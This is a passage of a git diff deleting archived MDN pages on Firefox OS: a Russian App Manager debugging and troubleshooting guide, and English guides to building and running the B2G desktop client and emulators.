id="result_box" lang="ru"><span class="hps">сертифицированных</span> </span><span class="hps">приложений</span><span>, изменив</span> <span class="hps">опцию</span></span> <code>devtools.debugger.forbid-certified-apps</code> на <code>false</code> в вашем профиле. чтобы сделать это, выполните слудующие шаги:</p> - -<p> </p> - -<ol> - <li> - <p>На вашем компьютере, введите команду в Терминале/командной строке для входа в файловую систему с помошью оболочки:</p> - - <pre class="brush: bash language-html"><code class="language-html">adb shell</code></pre> - - <p>Вам надо получить <code>root@android</code>.</p> - </li> - <li> - <p>Делее, остановить запущенный B2G используя следующую команду:</p> - - <pre class="brush: bash language-html"><code class="language-html">stop b2g</code></pre> - </li> - <li> - <p>Прослудейте в следующий каталог:</p> - - <pre class="language-html">cd /data/b2g/mozilla/*.default/</pre> - </li> - <li> - <p>Тут надо <span class="short_text" id="result_box" lang="ru"><span class="hps">обновить файл</span> <span class="hps">prefs.js</span> <span class="hps">с помощью следующей строки</span><span>:</span></span></p> - - <pre class="brush: js language-js"><code class="language-js">echo <span class="token string">'user_pref("devtools.debugger.forbid-certified-apps", false);'</span> <span class="token operator">></span><span class="token operator">></span> prefs<span class="token punctuation">.</span>js</code></pre> - </li> - <li> - <p>После того, как вы закончите редактирование и сохраните файл, запустите B2G снова, используя следующую команду:</p> - - <pre class="brush: bash language-html"><code class="language-html">start b2g</code></pre> - </li> - <li> - <p>Выйдете из файловой системы с помощью команды <code>exit</code> ; это вернет вас к нормальной работе терминала.</p> - </li> - <li> - <p>Перепоключитесь к Менеджеру Приложений и вы должны увидеть сертифицированные приложения доступными для отладки.</p> - </li> -</ol> - -<div class="note"> -<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечание:</span></span> Если вы захотите добавить эти предпорчтения в свою сборку вы можете запустить <code>make DEVICE_DEBUG=1 reset-gaia</code>.</p> -</div> - -<h2 id="Поиск_неисправностей"><a name="Troubleshooting">Поиск неисправностей</a></h2> - -<p id="My_device_is_not_recognized"><span class="short_text" id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">устройство не распознается</span><span>:</span></span></p> - -<p><span id="result_box" lang="ru"><span class="hps">Не можете</span> <span class="hps">подключить устройство</span> <span class="hps">к менеджеру</span> приложений <span class="hps">или запустить</span> <span class="hps">симулятор</span><span>?</span></span> <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">Дайте нам знать</a> or сообщите об ошибке.</p> - -<ol start="1"> - <li>Убедитесь что у вас установлен Firefox 26+</li> - <li>Откройте Менеджер приложений (в адресной строке наберите <code>about:app-manager)</code></li> - <li>Если у вас нет настоящего устройства: - <ol> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите симулятор Firefox OS</a></li> - <li>На нижней панели Менеджера приложений, нажмите на - <i>Start Simulator</i> - , потом нажмите на имя установленного симулятора, который должен появиться.</li> - </ol> - - <ol> - <li> - <ol start="1"> - <li><span class="short_text" id="result_box" lang="ru"><span class="hps">Если у вас есть</span> <span class="hps">реальное устройство</span><span>:</span></span> - - <ol> - <li><span id="result_box" lang="ru"><span class="hps">Убедитесь, что устройство</span> <span class="hps">работает под управлением</span> <span class="hps">Firefox</span> <span class="hps">OS 1.2</span><span class="hps">+</span></span></li> - <li><span id="result_box" lang="ru"><span class="hps">В Windows</span><span>, убедитесь, что</span><span class="hps"> драйвер<span id="result_box" lang="ru"><span>, предоставленный производителем</span> <span class="hps">телефона</span></span> установлен</span></span></li> - <li><span id="result_box" lang="ru"><span class="hps">В настройках</span> <span class="hps">вашего устройства</span><span>,</span> <span class="hps">отключена</span> функиця <span class="hps">Блокировки Экрана</span></span> (<code>Settings > <code>Screen Lock</code></code>) и включена функция Удаленной Отладки (<code>Settings > Device information > More information > Developer</code>)</li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин Помощник ADB</a> в Firefox рабочего стола</li> - <li> - <div class="almost_half_cell" id="gt-res-content"> - <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">Подключите устройство к</span> <span class="hps">вашему ПК</span> <span class="hps">с помощью кабеля</span> <span class="hps">USB</span></span></div> - </div> - </li> - <li><span id="result_box" lang="ru"><span class="hps">Вы должны увидеть</span> <span class="hps">название вашего</span> <span class="hps">устройства</span> <span class="hps">в правом нижнем углу</span> Менеджера Приложений<span class="hps">.</span> <span class="hps">Нажмите туда</span><span>.</span></span></li> - </ol> - </li> - <li>Строка состояния должна показать "Подключено к XXX"</li> - <li>Кликните на Панели Приложений и добавтье приложение (упакованное или состоявшееся)</li> - <li>Кнопка <em>Обновить</em> проверит ваше приложение и установит его на Симулятор/Устройство</li> - <li>Кнопка <em>Отладка</em> <span id="result_box" lang="ru"><span class="hps">подключит</span> <span class="hps">средства разработки</span> <span class="hps">в работающие</span> <span class="hps">приложения</span></span></li> - <li><strong>Смотрите раздел {{ anch("Troubleshooting") }} для помощи, если проблемы остались</strong></li> - </ol> - - <ul> - <li><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak builds</a>, <span id="result_box" lang="ru"><span class="hps"> чтобы узнать больше</span> <span class="hps">об использовании</span><span class="hps">,</span> <span class="hps">читайте тут</span></span> (<a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone</a>)</li> - <li>Следите за новостями</li> - </ul> - - <ul> - <li> - <p><span class="short_text" id="result_box" lang="ru"><span class="hps">Пусть</span> <span class="hps">Firefox</span> <span class="hps">обрабатывет</span> <span class="hps">ADB</span> <span class="hps">(рекомендуется)</span></span> <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин Помощник ADB</a>, <span id="result_box" lang="ru"><span class="hps">что делает</span> <span class="hps">этот процесс проще.</span> <span class="hps">При этом</span><span class="hps"> нет</span> <span class="hps">необходимости устанавливать</span> <span class="hps">ADB</span><span>,</span> <span class="hps">и нет необходимости</span> <span class="hps">вводить команду</span></span> <code>adb forward</code> : все сделает плагин Помощник ADB</p> - <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">Загрузить плагин Помощник ADB</a></li> - <li><span id="result_box" lang="ru"><span class="hps">Используйте</span> <span class="hps">ADB </span><span class="hps">вручную.</span> <span class="hps">Вам нужно</span><span>, чтобы он установлен</span> <span class="hps">на вашем компьютере</span> <span class="hps">-</span> <span class="hps">скачать и установить</span></span> <code>adb</code> (см. <a href="http://developer.android.com/sdk/index.html">Скачать Android SDK</a>) <span id="result_box" lang="ru"><span class="hps">как</span> <span class="hps">часть пакета</span> <span class="hps">Android</span> <span class="hps">SDK.</span> <span class="hps">Вы должны будете</span> <span class="hps">включить переадресацию порта</span><span>, введя следующую</span> <span class="hps">команду в строке</span> <span class="hps">терминала</span><span>:</span></span> - <pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre> - </li> - </ul> - - <ul> - <li>Прочтите <a href="#Configuring_device">Конфигурация устройств и систем</a> <span class="short_text" id="result_box" lang="ru"><span class="hps">раздел</span> <span class="hps">полностью, и</span> <span class="hps">убедитесь, что все</span> <span class="hps">шаги будут выполнены</span><span>:</span></span></li> - <li><span id="result_box" lang="ru"><span class="hps">Работает ли</span> <span class="hps">ваше устройство</span> <span>по крайней мере на</span> <span class="hps">Firefox</span> <span class="hps">OS 1.2</span><span>?</span></span></li> - <li><span class="short_text" id="result_box" lang="ru"><span class="hps">Если вы не видите</span> <span class="hps">все приложения</span><span>,</span></span> <span class="short_text" id="result_box" lang="ru"><span class="hps">вам нужно</span> <span class="hps">включить</span></span> <a href="#Debugging_Certified_Apps">отладку сертифицированных приложений</a>?</li> - <li> - <div class="almost_half_cell" id="gt-res-content"> - <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">Включили ли вы</span> <span class="hps atn">"</span><span>удаленную отладку</span><span>"</span> <span class="hps">в настройках</span> <span class="hps">вашего телефона</span><span>?</span></span></div> - </div> - </li> - <li>Если вы не используете <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">плагин Помощник ADB</a>: - <ul> - <li><span class="short_text" id="result_box" lang="ru"><span class="hps">Вы</span> <span class="hps">успешно запустили команду</span></span> <code>adb forward</code>?</li> - </ul> - </li> - <li>Если вы используете <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">плагин Помощник ADB</a> - <div class="almost_half_cell" id="gt-res-content"> - <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">и устройство</span> <span class="hps">не отображается в</span> <span class="hps">нижней панели инструментов</span><span>:</span></span></div> - </div> - - <ul> - <li>Если вы используете Linux, <a href="http://developer.android.com/tools/device.html#setting-up">убедитесь, что все настроено корректно</a></li> - <li>Если вы используете Windows, <a href="http://developer.android.com/tools/device.html#setting-up">убедитесь, что драйвер установлен</a></li> - </ul> - </li> - <li>Видите <strong>"???????"</strong> вместо имени вашего устройства на Linux? <a href="http://developer.android.com/tools/device.html#setting-up">Убедитесь, что все настроено корректно</a>.</li> - <li> - <div class="almost_half_cell" id="gt-res-content"> - <div dir="ltr" style="zoom: 1;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Разблокирован</span> <span class="hps">ли</span> <span class="hps">экран вашего телефона</span><span>?</span></span></div> - </div> - </li> - </ul> - </li> - </ol> - </li> -</ol> - -<p> </p> diff --git a/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html b/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html deleted file mode 100644 index dc438cfde2..0000000000 --- a/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Using the B2G desktop client -slug: Archive/B2G_OS/Using_the_B2G_desktop_client -translation_of: Archive/B2G_OS/Building_the_B2G_OS_simulator ---- -<p>The Firefox OS desktop client, also called the <em>B2G desktop client</em>, lets you run Gaia and web apps in a Gecko-based environment somewhat similar to an actual device. It doesn't emulate device hardware, so it's not adequate for testing device APIs, and isn't a replacement for testing on actual hardware. However, it does have a several APIs enabled that aren't available on Firefox such as the Contacts and Settings APIs. It can therefore be useful during the development of our application, or while working on the Gaia user interface itself.</p> -<p>This article covers downloading or building the Firefox OS desktop client, as well as how to use it.</p> -<h2 id="Download_a_nightly_build">Download a nightly build</h2> -<p>Just like <a href="http://nightly.mozilla.org" title="http://nightly.mozilla.org">Firefox Nightlies</a>, the Firefox OS desktop client is built every day from the latest source code. The latest build is <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">available from the Mozilla FTP server</a>. Be sure to pick the latest version and the right archive for your operating system.</p> -<p>We can now skip ahead to <a href="#Running_the_desktop_client" title="#Running_the_desktop_client">Running the desktop client</a>.</p> -<h2 id="Building_the_desktop_client">Building the desktop client</h2> -<p>The first thing we need to do is set up a <a href="/En/Developer_Guide/Build_Instructions#Build_prerequisites" title="En/Developer_Guide/Build_Instructions#Build_prerequisites">standard Mozilla build environment</a>. Once we have that, we can pull down the code we'll need and configure to build the Firefox OS desktop client.</p> -<h3 id="Downloading_the_code_for_the_first_time">Downloading the code for the first time</h3> -<p>In a directory where we'd like the source code to go, let's clone the <code>mozilla-central</code> repository that contains all of Gecko:</p> -<pre> hg clone http://hg.mozilla.org/mozilla-central -</pre> -<h3 id="Updating_the_code">Updating the code</h3> -<p>When we do subsequent builds later, we'll want to make sure we have the latest code. Here's how to pull the latest changes:</p> -<pre>cd mozilla-central -hg pull -u -</pre> -<h3 id="Create_a_mozconfig">Create a mozconfig</h3> -<p>Next, we need to create a <code>mozconfig</code> file in the <code>mozilla-central</code> directory to configure the build system to build the Boot to Gecko client instead of Firefox:</p> -<pre>mk_add_options MOZ_OBJDIR=../build -mk_add_options MOZ_MAKE_FLAGS="-j9 -s" - -ac_add_options --enable-application=b2g -ac_add_options --disable-libjpeg-turbo - -# This option is required if you want to be able to run Gaia's tests -ac_add_options --enable-tests - -# turn on mozTelephony/mozSms interfaces -# Only turn this line on if you actually have a dev phone -# you want to forward to. If you get crashes at startup, -# make sure this line is commented. -#ac_add_options --enable-b2g-ril</pre> -<h3 id="Building">Building</h3> -<p>Now we're ready to build the desktop client with the following command issued from the <code>mozilla-central</code> directory:</p> -<pre>make -f client.mk -</pre> -<p>The built client will be placed in the <code>../build/dist</code> directory (based on the value you specify for <code>MOZ_OBJDIR</code> in the <code>mozconfig</code> file).</p> -<h2 id="Running_the_desktop_client">Running the desktop client</h2> -<p>By default the desktop client will show an empty screen because it doesn't know which web app to load initially as the system app. The collection of system apps and default apps that come with Firefox OS is called Gaia.</p> -<h3 id="Downloading_Gaia">Downloading Gaia</h3> -<p>To download Gaia for the first time, let's clone the source code repository on GitHub:</p> -<pre> git clone https://github.com/mozilla-b2g/gaia</pre> -<p>To update an already existing clone of Gaia, we can pull in the latest changes from GitHub:</p> -<pre>cd gaia -git pull -</pre> -<h3 id="Generating_a_profile">Generating a profile</h3> -<p>Next we need to set up Gaia's apps for the desktop client. This includes packaging the Gaia apps in the same way like they would be installed on the device, as well as setting up the permissions for the privileged system apps. We do this by generating a profile. The following command will take care of that: The new profile contains a customized extension and other configuration needed to make B2G run properly. So do this in the <code>gaia</code> directory:</p> -<pre>cd gaia -make -</pre> -<p>This should create a <code>profile</code> directory below the <code>gaia</code> directory.</p> -<h3 id="Running_on_Linux">Running on Linux</h3> -<p>To run the desktop client against the Gaia profile we just generate, we simply invoke the <code>b2g</code> binary with the profile parameter. The binary will be located in the tarball we downloaded earlier or in the <code>../build/dist/bin</code> directory if we built the client ourselves.</p> -<pre>.../b2g -profile gaia/profile -</pre> -<p>You may experience annoying rendering problems. To avoid them, add the following line to your <code>gaia/profile/prefs.js</code> file:</p> -<pre>user_pref("layers.acceleration.disabled", true); -</pre> -<h3 id="Running_on_Mac">Running on Mac</h3> -<p>On Mac, the command line is slightly more complicated due to the location of the <code>b2g</code> binary and the need for absolute paths when specifying the profile directory:</p> -<pre>.../B2G.app/Contents/MacOS/b2g -profile /full/path/to/gaia/profile -</pre> -<h2 id="Command_line_options">Command line options</h2> -<p>There are a number of command line options you can use to adjust the runtime experience while using the desktop client. You can get a list by using the <code>-help</code> option. This section covers some of the particularly interesting ones.</p> -<h3 id="option-screen" name="option-screen">Specifying the screen size</h3> -<p>You can specify the screen size of the device you want to simulate using the <code>--screen</code> option:</p> -<pre>b2g --screen=<em><width></em>x<em><height></em>[@<em><dpi></em>]</pre> -<p>Where <em><width></em>, <em><height></em>, and <em><dpi></em> are fairly self-explanatory parameters: the width and height of the device's screen in pixels and the device resolution in DPI. For example:</p> -<pre>b2g --screen=320x480 -b2g --screen=320x480@160 -</pre> -<p>Optionally, you can specify certain devices by name to simulate their screen size and resolution:</p> -<ul> - <li><code>iphone</code></li> - <li><code>ipad</code></li> - <li><code>nexus_s</code></li> - <li><code>galaxy_nexus</code></li> - <li><code>galaxy_tab</code></li> - <li><code>wildfire</code></li> - <li><code>tattoo</code></li> - <li><code>salsa</code></li> - <li><code>chacha</code></li> -</ul> -<h3 id="option-console" name="option-console">Opening the JavaScript console</h3> -<p>You can open the JavaScript console when launching the desktop B2G client by launching it from the command line with the <code>-jsconsole</code> flag. After building, just do:</p> -<pre>.../b2g -jsconsole -profile <em>/path/to/your/profile</em></pre> -<p>If you've installed the nightly build on a Mac, you can do the following:</p> -<pre>/Applications/B2G.app/Contents/MacOS/b2g -jsconsole -profile <em>/path/to/your/profile</em></pre> -<h3 id="option-runapp" name="option-runapp">Launching a specific application at startup</h3> -<p>You can now specify an application to be launched automatically when b2g starts up in the desktop client. This is done as soon as the rest of the system is done loading up. To do this, just use the <code>--runapp</code> option, which takes as a parameter the name of the application to run. For example:</p> -<pre> .../b2g -profile <em>/path/to/your/gaia/profile</em> --runapp email</pre> -<p>Before looking for an app to launch, the specified name is normalized by converting it to all lower case and removing all dashes and spaces. This normalized name is then compared to similarly normalized names from the manifests of available apps' manifests.</p> -<p>For example, the name of the email app is currently "E-mail", but <code>--runapp email</code> will work because of this normalization.</p> -<p>If you specify the <code>--runapp</code> option without an argument, or with an empty argument, the b2g client will output to your terminal a list of the known applications as well as a brief usage message.</p> -<div class="note"> - <p><strong>Note:</strong> Using the <code>--runapp</code> option disables the lock screen as a side effect and does not re-enable it. It's assumed that you won't use this command on a profile on which you will be testing the lock screen, or you will turn it back on manually. Feel free to contribute a patch to change this behavior if it's a problem.</p> -</div> -<h2 id="Usage_tips">Usage tips</h2> -<p>This section provides a few helpful tips to using the B2G desktop client.</p> -<ul> - <li>The ESC key performs the same function as the "back" button.</li> - <li>The Home key performs the same function as the "home" button; if you're on a Mac, the Home key is available as Fn+← (Fn + Left Arrow).</li> -</ul> -<h2 id="Next_steps">Next steps</h2> -<p>Now that you have a desktop build of Boot to Gecko running, you can do testing, development, and other work in it:</p> -<ul> - <li><a href="/en/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko">Debugging on Boot to Gecko</a></li> - <li><a href="/en/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko">Testing Boot to Gecko</a></li> -</ul> diff --git a/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html b/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html deleted file mode 100644 index 09a0a77ecf..0000000000 --- a/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Using the B2G emulators -slug: Archive/B2G_OS/Using_the_B2G_emulators -translation_of: Archive/B2G_OS/Using_the_B2G_emulators ---- -<p></p><section class="Quick_links" id="Quick_Links"> - -<ol> - <li class="toggle"> - <details> - <summary>Build and install</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - </ol> - </details> - </li> - <li class="toggle"> - <details> - <summary>Porting B2G OS</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li> - </ol> - </details> - </li> - <li class="toggle"> - <details> - <summary>Developing Gaia</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </details> - </li> - <li><a href="/ru/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li> -</ol> -</section><p></p> - -<div class="summary"> -<p><span class="seoSummary">This article provides a brief guide to some key things you should know when using the boot to Gecko emulators. This doesn't appear to be a complete user manual; instead, it simply tells you a few useful things that you might not learn on your own.</span></p> -</div> - -<p>This guide assumes you've already built one of the emulators; if you haven't, rewind to <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">Building and installing Firefox OS</a>!</p> - -<h2 id="About_the_B2G_emulatorsIConsole_1968b7d3-e3bf-4ceb-99e0-cb7c913317bb">About the B2G emulatorsIConsole {1968b7d3-e3bf-4ceb-99e0-cb7c913317bb}</h2> - -<p>There are two B2G emulators. The first, built by configuring for "emulator" when running <code>config.sh</code>, is an ARM device emulator. While this is slower than running directly on an x86 processor, it's more stable and a more accurate representation of what an actual device will work like. Configuring for "emulator-x86" when running <code>config.sh</code> gets you the x86 device emulator instead.</p> - -<div class="note"><strong>Note:</strong> In recent months the Automation Team has stopped using the x86 emulator due to stability issues. As such, there's a fair chance that things might just not work at all on emulator-x86. Use the ARM emulator unless you have a good reason to do otherwise.</div> - -<p>Once you've selected, configured, and built an emulator, the rest works the same way from a user standpoint, so the rest of this guide is common to both.</p> - -<div class="note"><strong>Note:</strong> On Mac OS X, the B2G emulator requires a Core 2 Duo processor or later; that is, a system that is compatible with Mac OS X 10.7 "Lion." You do not actually have to be running Lion, you just have to be compatible with it.</div> - -<h2 id="Starting_the_emulator">Starting the emulator</h2> - -<p>To start the B2G emulator, type the following command:</p> - -<pre>./run-emulator.sh -</pre> - -<p>This will handle all the emulator startup tasks for you. Now wait patiently while the emulator starts up and Boot to Gecko boots up on it. It can take a couple of minutes, so be patient.</p> - -<h2 id="When_the_emulator_doesn't_work">When the emulator doesn't work</h2> - -<p>Sometimes the emulator fails to start up. Welcome to the bleeding edge of technology! Here are some tips for resolving problems.</p> - -<h3 id="Are_you_trying_to_work_in_a_VM">Are you trying to work in a VM?</h3> - -<p>VirtualBox and Parallels have problematic accelerated graphics support which causes a boot failure in the emulator, something about an OpenGL device. The device will start booting, fail, and restart in a loop, or start up, but then display nothing in the screen of the emulator. There is no solution unfortunately (there is a <a href="http://www.digitalmihailo.com/setting-up-ubuntu-12-04-virtual-machine-for-firefox-os-build/">workaround</a> for VirtualBox) - you need to use VMWare Player (Freeware), Workstation or Fusion. For VirtualBox - either do not install Guest Addons, or disable vboxvideo module.</p> - -<h3 id="Make_sure_the_adb_server_is_running">Make sure the adb server is running</h3> - -<p>This usually happens because the adb server that handles interacting with the emulated device is either not running or has malfunctioned. In this case you can usually see the following error message in the terminal where you launched the emulator:</p> - -<pre>emulator: control console listening on port 5554, ADB on port 5555 -emulator: can't connect to ADB server: Connection refused -</pre> - -<div class="note"> -<p><strong>Note:</strong> If you're using the <code>adb</code> built by the B2G build system (which you probably are), it's located in the <code>$B2G/out/host/<platform>/bin</code> directory. On Mac, this is <code>$B2G/out/host/darwin-x86/bin</code>, for example.</p> -</div> - -<p>Look to see if <code>adb</code> is even running by doing:</p> - -<pre>ps aux | grep adb -</pre> - -<p>If it's there, do this to kill it, because it's probably not working correctly.</p> - -<pre>adb kill-server -</pre> - -<p>If it's not there, do this:</p> - -<pre>adb start-server -</pre> - -<p>Then try running the emulator again. If it's still not working, time to drop in on <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a> on irc.mozilla.org for help.</p> - -<h3 id="Erase_configuration_settings">Erase configuration settings</h3> - -<p>Sometimes, out of date configuration settings on your emulated device can cause it to misbehave. You can delete the IndexedDB database fix this, as follows:</p> - -<ol> - <li>Make sure adb is running, as described in <a href="#Make_sure_the_adb_server_is_running">Make sure the adb server is running</a>.</li> - <li>Start up the emulator.</li> - <li>in the terminal on the host computer, go into the root code build directory for your emulator, then type: <code>out/host/<platform>/bin/adb -e shell</code>; on Mac, this would be <code>out/host/darwin-x86/bin/adb -e shell</code>.</li> - <li>Now you're in the adb shell, and can execute shell commands on your emulated device. Let's stop B2G on the device: <code>stop b2g</code>.</li> - <li>Delete the IndexedDB database: <code>rm -rf /data/local/indexedDB</code>.</li> - <li>Restart B2G on the emulated device: <code>start b2g</code>.</li> -</ol> - -<p>Hopefully at this point you will wind up in the Gaia interface and all will be well.</p> - -<h2 id="If_the_emulator_starts_but_the_screen_is_black_before_or_after_the_mozilla_technology_splash_screen">If the emulator starts but the screen is black before or after the "mozilla technology" splash screen</h2> - -<p>If this happens it could be a driver bug of the machine that is running the emulator. It has been observed on the Linux open source nouveau drivers. The easiest solution is to change the drivers on the machine. In the case of the nouveau driver it could be to install proprietary ("additional" in Ubuntu) drivers instead. In the case of on-board intel graphics chipsets, the default Linux open source driver may cause an emulator error 'eglMakeCurrent failed' which appears to be as it supports an OpenGL version less than the 2.0 needed for GPU emulation. The solution is to deactivate the GPU by editing <code>run-emulator.sh</code> script (this will be slower).</p> - -<h2 id="Configuring_the_emulator">Configuring the emulator</h2> - -<p>There are several options you can change to adjust the emulator to be more similar to the device you want to emulate. This section provides some basic information on how to do that. You can adjust the emulator's configuration by editing the <code>run-emulator.sh</code> script (or, ideally, a copy of it). Only a few of the most useful parameters are discussed here; you'll want to <a class="external" href="http://www.qemu.org/" title="http://www.qemu.org/">look at the qemu site</a> for details on the others.</p> - -<div class="note"><strong>Tip:</strong> Create one copy of <code>run-emulator.sh</code> for each device you want to simulate; this makes it easy to start up with different configurations.</div> - -<h3 id="Changing_skins">Changing skins</h3> - -<p>By default, the emulator starts up in HVGA mode; that's half-VGA, or 320x480 pixels. This is specified by the <code>-skin</code> parameter given to the emulator when started up. You can switch to a different display mode by editing the <code>run-emulator.sh</code> script (or, ideally, a copy of it). The provided skins are:</p> - -<ul> - <li>HVGA (320x480)</li> - <li>QVGA (240x320)</li> - <li>WQVGA (240x400)</li> - <li>WQVGA432 (240x432)</li> - <li>WSVGA (1024x600)</li> - <li>WVGA800 (480x800)</li> - <li>WVGA854 (480x854)</li> - <li>WXGA720 (1280x720)</li> - <li>WXGA800 (1280x800)</li> -</ul> - -<p>The skins are located in the <code>B2G/development/tools/emulator/skins</code> directory. It's worth noting that the format for skins is quite simple; if you look at them, they're simply folders filled with PNG files for the various user interface objects and a text file called <code>layout</code> which describes the layout of the interface and screen area. It's fairly simple to create custom skins if needed.</p> - -<h3 id="Changing_memory_size">Changing memory size</h3> - -<p>Another option you may wish or need to configure is the device memory size. The default is 512 MB; however, if the device you're emulating has more or less memory, it is likely important that you adjust this setting to match, to ensure your app will run on the baseline device you want to work on. To do this, change the value of the <code>-memory</code> parameter to the size you need in megabytes. Other than the 512 MB default, 256 MB and 1024 MB are likely ones you'll want to test with.</p> - -<p>To change the amount of emulated storage capacity for the device (that is, the storage space for local data, like the flash storage on a mobile phone or the hard drive on a computer), change the value of the <code>-partition-size</code> parameter. The default is 512 MB, but you can specify any size in MB you need in order to simulate the kind of device you need to test for.</p> - -<h3 id="Network_Connectivity">Network Connectivity</h3> - -<p>If for some reason you cannot connect your emulator to the internet you can run the following command from your commandline:</p> - -<pre>adb shell setprop net.dns1 10.0.2.3</pre> - -<p>If you run emulator-jb or emulator-kk, the command to set up the DNS server is different.<br> - Please run the following commands:</p> - -<pre>adb shell ndc resolver setdefaultif eth0 -adb shell ndc resolver setifdns eth0 10.0.0.0 10.0.2.3 -</pre> diff --git a/files/ru/archive/b2g_os/развитие_тем/index.html b/files/ru/archive/b2g_os/развитие_тем/index.html deleted file mode 100644 index 1a933de279..0000000000 --- a/files/ru/archive/b2g_os/развитие_тем/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Развитие Тем -slug: Archive/B2G_OS/Развитие_Тем -tags: - - Firefox OS - - Gaia - - Тема -translation_of: 